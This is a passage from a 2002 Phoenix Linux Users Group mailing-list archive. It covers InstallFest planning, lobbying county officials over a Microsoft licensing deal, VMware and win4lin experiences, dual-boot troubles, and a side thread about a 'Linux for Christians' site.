Alternatively copy the original and make sure the new disk works. > > ciao, > > der.hans > -- > # https://www.LuftHans.com/ > # The most likely way for the world to be destroyed, most experts agree, > # is by accident. That's where we come in; we're computer professionals. > # We cause accidents. -- Nathaniel Borenstein > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > -- Bryce C. Network Administrator CoBryce Communications Bryce @ BryceCo . Net From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 04:26:56 2002 From: plug-discuss@lists.plug.phoenix.az.us (Nathan England) Date: Mon, 10 Jun 2002 21:26:56 -0700 Subject: Voice Your Opinion RE: Microsoft Enterprise Agreement In-Reply-To: <4A8DFDA6B395D411A11B00508BEE23FE76B458@mail.int.fh.org> References: <4A8DFDA6B395D411A11B00508BEE23FE76B458@mail.int.fh.org> Message-ID: <200206102127.00567.plug@the-arcanum.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 I sent my two cents to a few leg. and I got a couple replys back. Here they are, maybe if we get a ton of people to write in to these two... ~~~~~~~ Sandi Wilson - OMBX Nathan: My name is Sandi Wilson. I am the Deputy County Administrator for Maricopa County. The budget for Maricopa County will be presented to the Board of Supervisors on June 17th with the tentative budget approved on that day. Final budget adoption will occur on July 22. That is the date set for the public hearing, as well. The budget has money reserved for an enterprise agreement, but it will not be appropriated (or approved) with the adoption of the budget. So . . . the Board will consider this item at a later date, if the Chief Information Officer decides to proceed with this item. Regarding the agreement itself, I will direct that question to the CIO's Office. Thank you for your interest in the budget. Sandi Wilson Deputy County Administrator Office of Management and Budget ~~~~~~~~~~ Paul Allsing - EGOVX Mr. England, My name is Paul Allsing. I am the Deputy CIO for Maricopa County. I have received and reviewed your comments on the Microsoft Enterprise Agreement. Thank you for your input into this issue. We have and will continue to consider all options to best meet the County's computing needs. I will retain your note for reference purposes, and bear in mind the issues you have raised relative to the possible applicability of Open Source software at Maricopa County. Thank you for your interest in the County's technology plans. Paul Allsing Deputy CIO Maricopa County 301 W Jefferson, Suite 420 Phoenix, AZ 85003 Maybe they are templates they have sent to everyone who writes them about the topic, but they sound interested in me enough to respect their reply. Am Montag 10 Juni 2002 07:44 vormittags schrieb Tom Achtenberg: > Don't forget to contact you local school boards too!! > > > -----Original Message----- > From: Derek Neighbors [mailto:derek@gnue.org] > Sent: Friday, June 07, 2002 4:20 PM > To: 'plug-discuss@lists.plug.phoenix.az.us' > Subject: Voice Your Opinion RE: Microsoft Enterprise Agreement > > > If you want your government to stop using Microsoft Products now is the > time to have your voice heard. It starts with local government. If you > didnt know the State of Arizona budget is in the dumps, because all > governments under them (read county and city) get large sums of money > from the State they are hurting for money. > > It just so happens that this July is when most of the local governments > start a new fiscal year, which means this June (now) they are ADOPTING > budgets (planned spending) for the upcoming fiscal year. Many of them are > faced with the choice on whether to renew Microsoft's 'Enterprise > Agreement' stiff arm. > > I urge you to PLEASE PLEASE PLEASE contact your district council person > (maricopa county) and your city council people and simply ask them. > > a. Do they plan to approve funding for the Enterprise Agreement? > b. If they do plan to do so, please provide you with a copy of the > agreement and the dollar amount to be expended. > c. When they will be hearing from the public on the budget, so if they are > adopting you can have your voice heard publicly. > > > It may sound funny but I can speak from REAL experience if a council > person gets as few as 10 requests that are similar a red flag will be > raised and they will grill their technology departments on it. > > I have contacted the Town of Gilbert and Maricopa County already to > recieve such information, I suggest others follow and use your power as a > citizen to make a difference. We have no one to blame but ourselves if we > dont start to take a stand. > > > I dont have town information but county information is as follows: > > Map To Find Your Council Person > http://www.maricopa.gov/county_glance/maps.asp?link=districtMap > > Council Contact Email > Dist 1 Fulton Brock FBrock@mail.maricopa.gov > Dist 2 Don Stapley DStapley@mail.maricopa.gov > Dist 3 Andrew Kunasek AKunasek@mail.maricopa.gov > Dist 4 Max Wilson mwwilson@mail.maricopa.gov > Dist 5 Mary Rose Wilcox MrWilcox@mail.maricopa.gov > > Also I would cc: the County Administrator and Deputy County Administrator > > CAO: David Smith DSmith@mail.maricopa.gov > DCA: Sandi Wilson Swilson@mail.maricopa.gov > > > > -Derek > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQE9BXwUQ7yNnsYcupwRAsvuAKCUG6yAqIVE3ZyO4zBnTUnIIbmTXwCcCD90 Bu/ig4HWNuout9bAIH3Wy0M= =GGxh -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 04:29:04 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C.) Date: 10 Jun 2002 21:29:04 -0700 Subject: Installfest Suggestion In-Reply-To: <200206102038.58858.alandd@mindspring.com> References: <200206102038.58858.alandd@mindspring.com> Message-ID: <200206110429.AAA07749@hostinworld6.com> I'm burning the 8.0 discs from their ftp. On 10 Jun 2002 20:38:58 -0700, Alan Dayley wrote: > I got the shipment of goodies from SuSE today. It includes 10-12 7.2 live > eval discs. > > Alan > > On Monday 10 June 2002 08:29 pm, der.hans wrote: > > Am 10. Jun, 2002 schwätzte Bryce C. so: > > > This is seperate from my other question regarding the installfest. > > > Has anyone considered bringing some SuSE Live Eval CDs for those who > > > just want to try linux? I'd be willing to burn half a dozen copies or > > > so if no one else is already planning on bringing it. I found it the > > > least "stressful" of all dual boots and it takes up a minimal amount of > > > HD space but the drawback is that it runs from the CD. Still this would > > > allow people to dip their toe in a "user-friendly" Linux pond. > > > > I believe Live Eval CDs are amongst the swag we got ( are getting? ) from > > SuSE. Yes, I hope we have plenty to give out. > > > > A few bootable business cards would be good too. I'll check on those. > > > > ciao, > > > > der.hans > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > -- Bryce C. Network Administrator CoBryce Communications Bryce @ BryceCo . Net From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 04:50:38 2002 From: plug-discuss@lists.plug.phoenix.az.us (Derek Neighbors) Date: Mon, 10 Jun 2002 21:50:38 -0700 Subject: Linux on Comedy Central? In-Reply-To: <3D057674.5287D130@leml.asu.edu> References: <20020610231726.83489.qmail@web13406.mail.yahoo.com> <3D057674.5287D130@leml.asu.edu> Message-ID: <20020610215038.23516f7e.derek@gnue.org> chillywilly? http://members.gtw.net/~taylor/mike/chilly/chilly0.htm > What was the old cartoon penguin named? His new nephew *IS* out > beloved Tux ;-) From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 04:59:56 2002 From: plug-discuss@lists.plug.phoenix.az.us (Nathan England) Date: Mon, 10 Jun 2002 21:59:56 -0700 Subject: Windows and Linux In-Reply-To: <3D055C10.29367AC0@georgetoft.com> References: <52339DF144F8AB458552076D1ED5CA152F1C80@mail.interactcommerce.com> <3D055C10.29367AC0@georgetoft.com> Message-ID: <200206102200.00787.plug@the-arcanum.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 George, How much did you pay for vmware? Am Montag 10 Juni 2002 07:10 nachmittags schrieb George Toft: > My experience with vmware is very positive. Issues with vmware: > - I cannot listen to Internet Radio at kccnfm100.com. Even with four > new software > downloads, three reboots (virtual), and 2 crashes, all I got was static. > - vmware does not do streaming media via USB. Want to use a USB > camera? Forget it. > - vmware with sound is usually preceeded with a loud pop. > - vmware does not support directx very well (if at all). > > Other than that, it lets me do my taxes, browse using IE 5.5, and gives > me blue screens, > just like the real thing. > > George > > Mike Porter wrote: > > Ok, this is intriguing to me. I am looking to migrate my house over to > > Linux, but I have some apps for which I cannot find comparable *nix > > substitutes. (Believe it or not, the request to move torward Linux is at > > my wife's request) > > > > So, those who have experienced VMware, win4lin, and the like, can you > > offer me your best suggestions as far as which you prefer and which > > flavor of Linux you believe is most solid with your choice? Also, any > > gotchas that you can think of would be most helpful. > > > > Also, has anyone run into problems with accessing Windows only devices > > using either of these options? > > > > Mike > > > > -----Original Message----- > > From: Derek Neighbors [mailto:derek@gnue.org] > > Sent: Sunday, May 26, 2002 9:36 PM > > To: plug-discuss@lists.plug.phoenix.az.us > > Cc: punkmmiv@cox.net > > Subject: Re: Windows and Linux > > > > On 26 May 2002 22:44:49 -0700 > > > > Matt wrote: > > > I know that Windows and Linux are supposed to operate pretty well > > > together, but the only articles I've read are about installing Linux > > > once Windows is already there. I'm running a pure SuSE 8.0 box and I > > > was wondering if it's possible to install Windows on it while still > > > being able to use my current install? > > > > Try win4lin. It lets you run windows as a window inside your GNU/Linux > > environment. Unlike VMWare and friends it is not a VM. Also, unlike > > WINE it actually works and works well. It will even let windows use > > (read/write) to your GNU/Linux file systems and such. It is not free, > > but neither is M$ Windows (so I assume you dont have a problem with > > that) and it is by far the best way to 'suffer' M$ while not having to > > 'leave' a real operating system. > > > > -Derek > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQE9BYPQQ7yNnsYcupwRAnQTAJ91XjbtdTMDhIRATUilt6n3zeX+qgCfU0fr UHgqeghEeXKGOxPtBOCylhE= =GPfW -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 05:15:58 2002 From: plug-discuss@lists.plug.phoenix.az.us (Victor Odhner) Date: Mon, 10 Jun 2002 22:15:58 -0700 Subject: OT: Please come forward References: <200206100555.BAA18201@hostinworld6.com> Message-ID: <3D05878E.E5D48F58@cox.net> Um, why do you say this was a PLUG member? Did he/she say so? Or are you concluding that from the fact that they were using KDE? BTW, it wasn't I. (Me neither.) Vic "Bryce C." wrote: > A PLUG member and possible Chandler resident running > KDE3.0.0-10 recently posted to my site's guestbook an > NMAP of my web server. From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 05:20:38 2002 From: plug-discuss@lists.plug.phoenix.az.us (John (EBo) David) Date: Mon, 10 Jun 2002 22:20:38 -0700 Subject: Linux on Comedy Central? References: <20020610231726.83489.qmail@web13406.mail.yahoo.com> <3D057674.5287D130@leml.asu.edu> <20020610215038.23516f7e.derek@gnue.org> Message-ID: <3D0588A6.E86E5915@leml.asu.edu> Derek Neighbors wrote: > > chillywilly? > > http://members.gtw.net/~taylor/mike/chilly/chilly0.htm Yes, I think it is ;-) > > What was the old cartoon penguin named? His new nephew *IS* out > > beloved Tux ;-) From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 05:40:01 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C.) Date: 10 Jun 2002 22:40:01 -0700 Subject: OT: Please come forward In-Reply-To: <3D05878E.E5D48F58@cox.net> References: <200206100555.BAA18201@hostinworld6.com> <3D05878E.E5D48F58@cox.net> Message-ID: <200206110540.BAA31141@hostinworld6.com> I assumed it. Besides, the person has come forward and they were just trying to be informative. On 10 Jun 2002 22:15:58 -0700, Victor Odhner wrote: > Um, why do you say this was a PLUG member? > Did he/she say so? Or are you concluding that > from the fact that they were using KDE? > > BTW, it wasn't I. (Me neither.) > > Vic > > "Bryce C." wrote: > > A PLUG member and possible Chandler resident running > > KDE3.0.0-10 recently posted to my site's guestbook an > > NMAP of my web server. > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > -- Bryce C. Network Administrator CoBryce Communications Bryce @ BryceCo . Net From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 05:43:35 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kurt Granroth) Date: Mon, 10 Jun 2002 22:43:35 -0700 Subject: Linux for Christians In-Reply-To: <3D056815.5080304@earthlink.net> References: <1023644806.3d039486f097c@webmail.freedom2surf.net> <200206092132.00620.lists@ybnormal.org> <3D056815.5080304@earthlink.net> Message-ID: <200206102243.35463@granroth.org> On Monday 10 June 2002 08:01 pm, Greg Furmanek wrote: > You right I should probably get some of heathens like myslef and creat > our own distro. > > I wonder what should I name it? and how many people will I piss of with > this one. > >>>Looking for something else on Google I stumbled on to The Linux for > >>>Christians site! http://thelinuxlink.net/l4c/ Here's what it says: Y'know, for all the jokes that have been made about this, it appears to be a serious and useful (if that's what you are looking for) site. I think too many people here are viewing this as another Jesux (which I thought then and still think now is/was a hoax). Jesux was an over-the-top parody of the old "Unix for the Politically Correct" ("man" becomes "person", and so on) using Christian instead of PC. What *this* site is is yet another Special Interests Group with links to software related to their interest. It's no different, really, than an animal lover offering links to screensavers, wallpapers, pet interaction programs, and the like. Or any low-budget advocacy group sharing info on using Linux to advance the cause. I actually did something a *little* similar not that long ago with my own church in an attempt to get people to interact more online. I had some tutorials and the like written up on how to use Linux and ogg vorbis (and was getting into icecast) to allow church members spread around the country and the world to still stay in touch. Hmm.. although in my case, midway through my work, I was told by the Church Board that I was to cease and desist any and all work I was doing since the Internet was evil (no joke) and they thought people should spend less time online, not more. Ah well. Okay, got a little sidetracked... :-) My point is that while that site's content may not appeal to all people, it's far from a joke. I just hope they have more luck than I had. -- Kurt Granroth - "KDE -- Conquer Your Desktop" KDE Developer/Evangelist | granroth@kde.org http://www.granroth.org | kurt@granroth.org From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 05:46:43 2002 From: plug-discuss@lists.plug.phoenix.az.us (Voltage Spike) Date: Mon, 10 Jun 2002 22:46:43 -0700 Subject: Installfest Question (Yet another) In-Reply-To: <200206110415.AAA03429@hostinworld6.com> References: <200206110415.AAA03429@hostinworld6.com> Message-ID: <200206102246.49201.voltage_spike@fastmail.fm> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Monday 10 June 2002 21:15, Bryce "C." wrote: > That was sort of my problem. I don't have the money to buy a scsi drive > for a 7 year old mac. Doesn't that mean it runs the old OS 7.X? That version of the system is freely available from Apple in case something goes wrong. PS: Check this information since I have known to be wrong in the past. :-) - -- Voltage Spike ,,, (. .) - --ooO-(_)-Ooo-- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE9BY7HpNoctRtUIRQRAt7iAJ0Ujo19H+sYTA4s5Z+5AMRR4Sg3RgCfUL52 8WPWktPPvuU36krmk81lOKI= =Xy52 -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 05:52:05 2002 From: plug-discuss@lists.plug.phoenix.az.us (Isaac Sparrow) Date: Mon, 10 Jun 2002 22:52:05 -0700 Subject: Linux for Christians In-Reply-To: <3D056901.3060507@earthlink.net> References: <1023644806.3d039486f097c@webmail.freedom2surf.net> <3D04124D.8000100@earthlink.net> <15620.43611.959869.710388@magnitude.righthandgraphics.com> <3D056901.3060507@earthlink.net> Message-ID: <20020611055205.GA5358@neo.visicomp.com> --sm4nu43k4a2Rpi4c Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable Can I be second in command? VIM rocks!=20 --=20 ------------------------------------------------- Isaac Sparrow Staff Engineer VisiComp, Inc. http://www.visicomp.com GnuPG Key Fingerprint: 1060 5A07 F6EC B2B3 9AAA 3EA5 7B79 EFE1 6397 4F47 Get my public key at: http://www.concentric.net/~issparow /* * Oops. The kernel tried to access some bad page. We'll have to * terminate things with extreme prejudice. */ die_if_kernel("Oops", regs, error_code); (From linux/arch/i386/mm/fault.c) =20 On Mon, Jun 10, 2002 at 08:05:37PM -0700, Greg Furmanek wrote: > HAHAHA... good humor. I loved this one. >=20 > btw. I should start my own cult of "VIM" editor. =20 >=20 > any followers? >=20 > Greg >=20 >=20 > David A. Sinck wrote: >=20 > >\_ SMTP quoth Greg Furmanek on 6/9/2002 19:43 as having spake thusly: > >\_ > >\_ How about a linux distro specifically for non-christians? Buddists?= =20 > >\_ Muslims? Hindu? > >\_=20 > >\_ btw: why everything on this planet has to be about religion? Isn't= =20 > >\_ this why we have so > >\_ many wars? > > > >No, we have so many wars because of people using the wrong editor. > > > > > >Die infidel (emacs|vi) user, die! > > > >:-) > > > >http://www.netfunny.com/rhf/jokes/97/Jul/tolerance.html > > > > > >David > >________________________________________________ > >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't= =20 > >post to the list quickly and you use Netscape to write mail. > > > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > >=20 > > >=20 >=20 >=20 > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't= =20 > post to the list quickly and you use Netscape to write mail. >=20 > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss >=20 --sm4nu43k4a2Rpi4c Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: NSA bad. Encryption good. iD8DBQE9BZAFe3nv4WOXT0cRAkv7AKC0HcV+jJf2S9zu4BEQW0REf6c+SACeNXwP PoX36I30UCvi6A3Gfus4Quo= =u8nG -----END PGP SIGNATURE----- --sm4nu43k4a2Rpi4c-- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 05:59:21 2002 From: plug-discuss@lists.plug.phoenix.az.us (Victor Odhner) Date: Mon, 10 Jun 2002 22:59:21 -0700 Subject: [Fwd: [aztechlist] Linux in a Windows environment] Message-ID: <3D0591B9.15F13F68@cox.net> Maybe someone here can help this fellow with more technical information. I've already posted a reference to Matt Alexander's presentation on the plugpresents.org site. Vic -------- Original Message -------- Subject: [aztechlist] Linux in a Windows environment Date: Mon, 10 Jun 2002 12:56:15 -0400 From: "Corby Kissler" To: Hello list, I'm curious if there are any members of the list that have had first hand experience installing linux file and print sharing services in a corporate windows environment? My interest is in the migration pains that were felt from a technical perspective, and also from a business side, i.e. were there any hurdles to overcome with senior management. I'm looking at replacing some dedicated file sharing appliances with linux (red hat), a decent box, raid card and drives (super cheap). Storage costs are so low right now, that not having enough space in an environment is inexcusable (within limits of course) Have seen the Samba software but haven't played with it yet. Evaluating its integration with windows for file and print sharing from windows desktops. If anyone has an insight they'd like to share on TCO, buy-in, technical hurdles, i'd appreciate it. Corby Kissler ------------------------ Yahoo! Groups Sponsor ---------------------~--> Will You Find True Love? Will You Meet the One? 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Groups is subject to http://docs.yahoo.com/info/terms/ From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 06:04:24 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Mon, 10 Jun 2002 23:04:24 -0700 Subject: OT: Please come forward In-Reply-To: <3D05878E.E5D48F58@cox.net> References: <200206100555.BAA18201@hostinworld6.com> <3D05878E.E5D48F58@cox.net> Message-ID: <200206102304.24581.lists@ybnormal.org> Me neither and I use KDE too On Monday 10 June 2002 10:15 pm, Victor Odhner wrote: > Um, why do you say this was a PLUG member? > Did he/she say so? Or are you concluding that > from the fact that they were using KDE? > > BTW, it wasn't I. (Me neither.) > > Vic > > "Bryce C." wrote: > > A PLUG member and possible Chandler resident running > > KDE3.0.0-10 recently posted to my site's guestbook an > > NMAP of my web server. > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- Visit my home page at http://www.achtenberg.com Every DAY 24,000 people die of hunger related causes. 18,000 of these are children. Find out how you can help at http://www.Christ4me.com From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 06:22:29 2002 From: plug-discuss@lists.plug.phoenix.az.us (Voltage Spike) Date: Mon, 10 Jun 2002 23:22:29 -0700 Subject: Linux for Christians In-Reply-To: <200206102243.35463@granroth.org> References: <1023644806.3d039486f097c@webmail.freedom2surf.net> <3D056815.5080304@earthlink.net> <200206102243.35463@granroth.org> Message-ID: <200206102322.38624.voltage_spike@fastmail.fm> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Monday 10 June 2002 22:43, Kurt Granroth wrote: > What *this* site is is yet another Special Interests Group with links > to software related to their interest. It's no different, really, > than an animal lover offering links to screensavers, wallpapers, pet > interaction programs, and the like. Or any low-budget advocacy group > sharing info on using Linux to advance the cause. Don't worry. We'd laugh at the cat lovers as well. No harm intended. ;-) > I actually did something a *little* similar not that long ago with my > own church in an attempt to get people to interact more online. I had > some tutorials and the like written up on how to use Linux and ogg > vorbis (and was getting into icecast) to allow church members spread > around the country and the world to still stay in touch. > Hmm.. although in my case, midway through my work, I was told by the > Church Board that I was to cease and desist any and all work I was > doing since the Internet was evil (no joke) and they thought people > should spend less time online, not more. Ah well. "Evil"? I think I hear the words of an individual with little experience. They need to keep in mind that the first amendment doesn't just apply to them. In the case of spending more time offline, that is certainly a common thread among society. However, if the religious leader of choice can spend a couple of hours a day talking to people, then they should respect my right to do the same. Your project sounds like it is dying to be placed on the PLUG website, though. :-) - -- Voltage Spike ,,, (. .) - --ooO-(_)-Ooo-- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE9BZclpNoctRtUIRQRAvBoAJ9DtUikb5Td1sH2MA1MT6ZxuTaFrACgjUeN +nl5JW8PnnIFGzFr+PUmJrs= =xg3K -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 06:35:48 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C.) Date: 10 Jun 2002 23:35:48 -0700 Subject: Installfest Question (Yet another) In-Reply-To: <200206102246.49201.voltage_spike@fastmail.fm> References: <200206110415.AAA03429@hostinworld6.com> <200206102246.49201.voltage_spike@fastmail.fm> Message-ID: <200206110635.CAA16235@hostinworld6.com> Do you have any idea where? On 10 Jun 2002 22:46:43 -0700, Voltage Spike wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > On Monday 10 June 2002 21:15, Bryce "C." wrote: > > That was sort of my problem. I don't have the money to buy a scsi drive > > for a 7 year old mac. > > Doesn't that mean it runs the old OS 7.X? That version of the system is > freely available from Apple in case something goes wrong. > > PS: Check this information since I have known to be wrong in the past. :-) > > - -- > Voltage Spike > ,,, > (. .) > - --ooO-(_)-Ooo-- > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.0.6 (GNU/Linux) > Comment: For info see http://www.gnupg.org > > iD8DBQE9BY7HpNoctRtUIRQRAt7iAJ0Ujo19H+sYTA4s5Z+5AMRR4Sg3RgCfUL52 > 8WPWktPPvuU36krmk81lOKI= > =Xy52 > -----END PGP SIGNATURE----- > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > -- Bryce C. Network Administrator CoBryce Communications Bryce @ BryceCo . Net From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 06:55:14 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Mon, 10 Jun 2002 23:55:14 -0700 (MST) Subject: Linux on Comedy Central? In-Reply-To: <20020610215038.23516f7e.derek@gnue.org> Message-ID: Am 10. Jun, 2002 schwätzte Derek Neighbors so: > chillywilly? > > http://members.gtw.net/~taylor/mike/chilly/chilly0.htm I was thinking ".tn.us Tuxedo". If that's so, though, what's Tux' first name? ciao, der.hans -- # https://www.LuftHans.com/ # The only way for a woman to change a man # is if he's wearing Depends[TM] - der.hans From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 07:47:00 2002 From: plug-discuss@lists.plug.phoenix.az.us (Voltage Spike) Date: Tue, 11 Jun 2002 00:47:00 -0700 Subject: Mac OS Download (Was: Installfest Question (Yet another) ) In-Reply-To: <200206110635.CAA16235@hostinworld6.com> References: <200206110415.AAA03429@hostinworld6.com> <200206102246.49201.voltage_spike@fastmail.fm> <200206110635.CAA16235@hostinworld6.com> Message-ID: <200206110047.08219.voltage_spike@fastmail.fm> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Monday 10 June 2002 23:35, Bryce "C." wrote: > Do you have any idea where? Courtesy of the Basilisk project: http://www.kearney.net/~mhoffman/basiliskII/system753_tutorial/ They even provide installation instructions, it seems. As mentioned before, it might be a good idea to see what version of the MacOS you are currently running. - -- Voltage Spike ,,, (. .) - --ooO-(_)-Ooo-- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE9Bar3pNoctRtUIRQRAh7OAJ9azPn8Lwy7PWga/Y0cKSW1+gmKygCeNavX DiiUlYkEr/nGlfk9RePhWSc= =hmNy -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 08:50:19 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt) Date: Tue, 11 Jun 2002 01:50:19 -0700 Subject: XP/Linux dual boot References: <200206110555.g5B5t3210306@PlugList.MyButt.Net> Message-ID: <000501c21125$040fc640$6501a8c0@ph.cox.net> So today I went out to Fry's and bought Windows XP, because I need Windows for a few things. I installed XP, and all went well. I prodded it for a few minutes, then restarted with my SuSE Linux 8.0 CD in. I just went with the default settings it gave me. It said it was going to delete the NTFS partition, but I'd heard Linux works well with Windows, so I assumed that the folks at SuSE knew what they were doing. Apparently I was wrong. Linux installed fine, but when I restarted the computer to see if all was OK, I found out that it wasn't. Windows shows up as an option in LILO, but it merely goes to a black screen with white text that says "Loading Windows..." What is it that I did wrong, and what should I do after I fdisk it all and start repeating the same process? From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 10:57:55 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Tue, 11 Jun 2002 03:57:55 -0700 (MST) Subject: supplies for InstallFest Message-ID: moin, moin, I've put together a page to show what supplies we need/have for the InstallFest. There is a form to add stuff as well. Please be gentle on it. It's not locked down as well as I'd like. It does, however, let you post that you're volunteering to bring stuff. Feel free to use a pseudonym or random string for your 'name' if you don't want your name listed, but put in a valid email addy, so Bill can get ahold of you. The email addies aren't viewable from the publicly available pages. https://www.LuftHans.com/php/PLUG/InstallFest/supplies.php Green means we have what we've determined we need ( more is usually better, though, so feel free to bring more ). Red ( well, it's pink because it was hard to see links on a red background and it was easier to change the background color ) indicates that we need more of that item. ciao, der.hans -- # https://www.LuftHans.com/ # Like the maid, I don't do (M$)Windows. - der.hans From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 11:14:37 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Tue, 11 Jun 2002 04:14:37 -0700 (MST) Subject: ride sharing for the InstallFest Message-ID: moin, moin, not everyone has a car to get to the InstallFest. Also, some who might be bringing equipment might need help hauling it over. Let's see if we can use the list to organize that a little bit :). ciao, der.hans -- # https://www.LuftHans.com/ # Take a razor to your throat # and a noose to your neck, # then follow that up with a cup of poison. # Not a good way to start the day. - der.hans From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 11:39:15 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Tue, 11 Jun 2002 07:39:15 -0400 Subject: Windows and Linux References: <52339DF144F8AB458552076D1ED5CA152F1C80@mail.interactcommerce.com> <3D055C10.29367AC0@georgetoft.com> <200206102200.00787.plug@the-arcanum.org> Message-ID: <3D05E163.2F12A01A@georgetoft.com> Hi Nathan, The price for vmware is $299. George Nathan England wrote: > > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > George, > How much did you pay for vmware? > > Am Montag 10 Juni 2002 07:10 nachmittags schrieb George Toft: > > My experience with vmware is very positive. Issues with vmware: > > - I cannot listen to Internet Radio at kccnfm100.com. Even with four > > new software > > downloads, three reboots (virtual), and 2 crashes, all I got was static. > > - vmware does not do streaming media via USB. Want to use a USB > > camera? Forget it. > > - vmware with sound is usually preceeded with a loud pop. > > - vmware does not support directx very well (if at all). > > > > Other than that, it lets me do my taxes, browse using IE 5.5, and gives > > me blue screens, > > just like the real 